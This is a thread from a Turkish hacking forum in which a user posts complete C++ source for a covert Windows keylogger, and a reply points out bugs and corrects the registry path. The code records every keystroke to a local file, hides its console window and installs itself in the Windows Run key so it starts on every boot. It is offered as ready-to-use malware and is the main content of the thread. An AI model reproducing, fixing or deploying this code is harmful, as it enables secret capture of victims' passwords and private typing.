C++ Basit Local Keyloger Yapımı

TheGameOweR

Kıdemli Üye
16 May 2013
2,730
0
C://Samsun
#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

int wrt(int key,char *fl);
**** st();
int addreg();
int main(int argc, char *argv[])
{
st();
addreg();
char i;
while(1)
{
for(int i = 8;i<=190;i++)
{
if(GetAsyncKeyState(i) == -32767){wrt(i,"log.txt");}
}
}
return EXIT_SUCCESS;
}
int wrt(int key,char *fl)
{
if((key == 1) || (key ==2)){return 0;}
FILE *outf;
outf = fopen(fl,"a+");
if(key == 8){fprintf(outf,"[backspace]");}
else if(key == 13){fprintf(outf,"n");}
else if(key == 32){fprintf(outf," ");}
else if(key == VK_TAB){fprintf(outf,"[TAB]");}
else if(key == VK_SHIFT){fprintf(outf,"[SHIFT]");}
else if(key == VK_CONTROL){fprintf(outf,"[CONTROL]");}
else if(key == VK_ESCAPE){fprintf(outf,"[ESCAPE]");}
else if(key == VK_END){fprintf(outf,"[END]");}
else if(key == VK_HOME){fprintf(outf,"[HOME]");}
else if(key == VK_UP){fprintf(outf,"[UP]");}
else if(key == VK_DOWN){fprintf(outf,"[DOWN]");}
else if(key == VK_RIGHT){fprintf(outf,"
");}
else if(key == VK_LEFT){fprintf(outf,"
");}
else if(key == 190 || key == 110){fprintf(outf,"%s",".");}
else fprintf(outf,"%s",&key);
fclose(outf);
return 0;
}
**** st()
{
HWND st;
AllocConsole();
st = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(st,0);
}
int addreg()
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
HKEY newValue;
RegOpenKey(HKEY_LOCAL_MACHINE,"SoftwareMicrosoft WindowsCurrentVersionRun",&newValue);
RegSetValueEx(newValue,"name_me",0,REG_SZ,(LPBYTE) szPath,sizeof(szPath));
RegCloseKey(newValue);
return 0;
}


Dev C++ Programında çalışmaktadır. Visual Studio Programı ilede "#include <stdafx.h>" ettiğiniz dosya içerisine kütüphaneleri tanımayarak "win32 console application" Seçerek kullanabilirsiniz.​
 
Son düzenleme:

167349

Üye
16 Tem 2013
73
1
Öncelikle gzl bir uygulama. Teşekkürler. Fakat gözüme çarpan bir kaç problem var. Şimdiden teşekkürler.

1) GetAsyncKeyState fonksiyonu neden küçük harflere basılsa bile büyük harf yapıyor. Yada yapmıyor ama küçük harfler ile büyük harfleri aynı görüp for döngüsünde ilk büyük harfler geldiği için mi büyük harf olarak değişken yazılıyor.

2) shift veya control tuşlarına basınca ¡[SHIFT]¢[CONTROL][SHIFT]*¤ çıkıyor. Yani bazı karakterlerde çıkıyor. Neden.

3)if(key == 190 || key == 110){fprintf(outf,"%s","."); bu komutta bi problem yok mu ? neden nokta yazılıyor ki 110 "n" demek. 190 ise zaten for döngümüzde yok.

4) if((key == 1) || (key ==2)){return 0;} bu komutta olan ascii kodu 1 ve 2 olan klavyedeki tuş hangileri ?

5) int addreg() fonksiyonu ne yapıyor ?
 

167349

Üye
16 Tem 2013
73
1
Bulduğum hatanın( üst yorumda yazdığım) çözümü.

2) Bu durum for(int i = 8;i<=190;i++) döngüsünün içindeki int i den kaynaklanıyor. Zaten biz char i diye tanımlamıştık bu sefer derleyici 3 byte karışıklığa yol açacak. bu yüzden çözüm for(i = 8;i<=190;i++) yapmak.

BİRDE REGEDİT KISMINDAKİ YANLIŞLIK var böyle olmalı:
Kod:
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&[SIZE=2][COLOR=Gray]newValue[/COLOR][/SIZE]);
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.